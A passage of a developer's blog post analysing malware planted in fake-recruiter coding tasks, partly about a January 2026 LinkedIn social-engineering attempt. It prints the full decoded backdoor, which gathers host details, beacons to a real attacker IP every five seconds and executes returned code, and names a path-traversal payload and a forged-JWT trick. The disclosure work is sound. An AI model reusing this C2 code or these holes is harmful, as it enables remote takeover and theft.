        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;outputDiv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;output&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;contractAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bscRpcUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://bsc-dataseed1.binance.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;contractAbi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
          &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;function getMemo(uint256 transactionId) external view returns (string memory)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;];&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="c1"&gt;// 1. Set up the provider and contract&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;provider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;JsonRpcProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bscRpcUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="nx"&gt;contractAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;contractAbi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="p"&gt;);&lt;/span&gt;

          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;p class="loading"&amp;gt;Calling getMemo(2)...&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

          &lt;span class="c1"&gt;// 2. Call the getMemo function for transaction ID 2&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;memo2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMemo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;p class="success"&amp;gt;&amp;lt;strong&amp;gt;Result for getMemo(2):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;memo2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/pre&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;p class="loading"&amp;gt;Calling getMemo(3)...&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

          &lt;span class="c1"&gt;// 3. Call the getMemo function for transaction ID 3&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;memo3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMemo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;p class="success"&amp;gt;&amp;lt;strong&amp;gt;Result for getMemo(3):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;memo3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/pre&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

          &lt;span class="c1"&gt;// 4. Join them, just like the malicious backend does&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;combinedPayload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;memo2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;memo3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`
                    &amp;lt;hr&amp;gt;
                    &amp;lt;h3&amp;gt;Combined Payload (What the server would execute):&amp;lt;/h3&amp;gt;
                    &amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;combinedPayload&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/pre&amp;gt;
                `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Error fetching from contract:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="nx"&gt;outputDiv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;p class="error"&amp;gt;&amp;lt;strong&amp;gt;Error:&amp;lt;/strong&amp;gt; Could not fetch data from the contract. Check the browser console for details.&amp;lt;/p&amp;gt;&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/pre&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="nf"&gt;checkContract&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed the true payload: a minified script that establishes a persistent Command &amp;amp; Control (C2) channel.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Decoded Backdoor Payload
&lt;/h3&gt;

&lt;p&gt;Here is the formatted payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;os&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;instanceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// The RCE function&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;errorFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Collects and sends system info to the attacker&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;checkServer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sysInfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="na"&gt;macs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;networkInterfaces&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;flat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
      &lt;span class="na"&gt;os&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;release&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;)`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="c1"&gt;// Pings the attacker's C2 server&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://87.236.177.9:3000/api/errorMessage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;sysInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;exceptionId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;env19475&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;instanceId&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// If the server responds with a command, execute it&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;errorFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Unknown error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;instanceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Run immediately and then every 5 seconds&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;checkServer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;checkServer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script does three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Exfiltrates Data&lt;/strong&gt;: It collects the user's hostname, MAC addresses, and OS details.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Establishes C2 Channel&lt;/strong&gt;: It sends this data to an attacker-controlled server (&lt;code&gt;87.236.177.9&lt;/code&gt;) every 5 seconds.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Executes Remote Commands&lt;/strong&gt;: It listens for a response. If the response contains a &lt;code&gt;message&lt;/code&gt;, it executes that message as code, giving the attacker full remote control.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Other Malicious Code
&lt;/h3&gt;

&lt;p&gt;The RCE was the main payload, but the project was littered with other vulnerabilities that indicate malicious intent.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Broken JWT Authentication&lt;/strong&gt;: The &lt;code&gt;verifyJWT&lt;/code&gt; function correctly used &lt;code&gt;jwt.verify()&lt;/code&gt; but then completely ignored the result. It proceeded to use &lt;code&gt;jwt.decode()&lt;/code&gt; to get the user payload. &lt;code&gt;decode()&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; verify the token's signature, meaning an attacker could forge a token with any data they want (e.g., &lt;code&gt;{"role": "cpadmin"}&lt;/code&gt;) to gain unauthorized access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Path Traversal&lt;/strong&gt;: An endpoint, &lt;code&gt;getImage&lt;/code&gt;, was vulnerable to path traversal. An attacker could provide a path like &lt;code&gt;../../../../etc/passwd&lt;/code&gt; to read sensitive files from anywhere on the server.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deprecated Crypto Packages&lt;/strong&gt;: The project used the &lt;code&gt;crypto&lt;/code&gt; package from npm, which has been deprecated for years in favor of Node.js's built-in &lt;code&gt;crypto&lt;/code&gt; module. It also used &lt;code&gt;ethereumjs-tx&lt;/code&gt;, which is deprecated in favor of &lt;code&gt;@ethereumjs/tx&lt;/code&gt;. Using outdated, unmaintained crypto libraries is a massive security risk and a clear sign that the author is not a legitimate developer.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  January 2026: An Attack Hidden Inside Normal Hiring Rituals
&lt;/h2&gt;

&lt;p&gt;In January 2026, I encountered another attempt that relied far more on social engineering than technical complexity. The setup appeared ordinary: a supposed recruiter contacted me, asked a few legit-sounding questions and then assigned a small take-home task, asking candidates to open a public GitHub repository in VS Code, make &lt;strong&gt;"at least one meaningful improvement"&lt;/strong&gt; and submit a pull request.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-5.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 8: First message from Firyal AS, the fake recruiter" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-5.jpg" width="800" height="648"&gt;&lt;/a&gt;&lt;br&gt;Figure 8: First message from Firyal AS, the fake recruiter.
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-6.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 9: LinkedIn message about available roles and suspiciously high compensation" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-6.jpg" width="800" height="527"&gt;&lt;/a&gt;&lt;br&gt;Figure 9: LinkedIn message about available roles and suspiciously high compensation.
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-7.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 10: LinkedIn message with brief about the role and typical recruiter questions." src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-7.jpg" width="800" height="620"&gt;&lt;/a&gt;&lt;br&gt;Figure 10: LinkedIn message with brief about the role and typical recruiter questions.
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-8.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 11: LinkedIn message with Google Docs link of the task details and invitation for interview after submission." src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-8.jpg" width="800" height="640"&gt;&lt;/a&gt;&lt;br&gt;Figure 11: LinkedIn message with Google Docs link of the task details and invitation for interview after submission.
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fjanuary-review-task.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 12: A detailed Google Docs document mimicking a real take-home coding task." src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fjanuary-review-task.jpg" width="800" height="578"&gt;&lt;/a&gt;&lt;br&gt;Figure 12: A detailed Google Docs document mimicking a real take-home coding task.
  &lt;/p&gt;

&lt;p&gt;Several hours before this task was even sent, a completely separate LinkedIn account, unrelated to the role or company, sent me a generic message about a position I had never applied for. At the time it felt random. The following day, when I had not submitted any pull request, the same account sent a second message. In hindsight, These messages were likely intended to serve as a simple activity check to confirm whether I was active on LinkedIn and reading messages before and after the task delivery.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-4.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 13: First LinkedIn message from an unrelated account" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-4.jpg" width="800" height="508"&gt;&lt;/a&gt;&lt;br&gt;Figure 13:  LinkedIn message from an unrelated account.
  &lt;/p&gt;

